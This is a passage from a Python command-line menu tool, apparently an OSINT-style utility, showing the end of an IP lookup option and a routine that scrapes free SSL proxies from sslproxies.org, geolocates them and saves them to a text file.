website_data["city"]) print("Hostname (may be blank): " + website_data["ipName"]) print("Organization: " + website_data["org"]) print("") input("Go back to the main menu!") Menu() # GATHER SSL PROXIES if choice == "4": os.system('cls') print(""" █████╗ ███████╗ ██╗ ██╗ ██████╗ ███████╗ ██╔══██╗ ╚══███╔╝ ██║ ██║ ██╔══██╗ ██╔════╝ ███████║ ███╔╝ ██║ ██║ ██████╔╝ █████╗ ██╔══██║ ███╔╝ ██║ ██║ ██╔══██╗ ██╔══╝ ██║ ██║ ███████╗ ╚██████╔╝ ██║ ██║ ███████╗ ╚═╝ ╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝""") print("(Gathers Proxies from SSLProxies.org)") print("") enter = input("Press Enter to gather proxies!") session = HTMLSession() r = session.get('https://www.sslproxies.org/') proxies = list( zip( r.html.xpath( '//*[@id="proxylisttable"]/tbody/tr/td[1]/text()'), r.html.xpath( '//*[@id="proxylisttable"]/tbody/tr/td[2]/text()'))) for proxy in proxies: time.sleep(0.05) r = requests.get(f'http://extreme-ip-lookup.com/json/{proxy[0]}') proxy_data = r.json() proxy_location = proxy_data["country"] print("Gathered Proxy: " + proxy[0] + ":" + proxy[1] + " (" + proxy_location + ")") f = open("proxies.txt", "a+") f.write(proxy[0] + ":" + proxy[1] + "\n") f.close() print("") print("We can't find anymore proxies!") print("") input("Press Enter to go back to the menu!") Menu()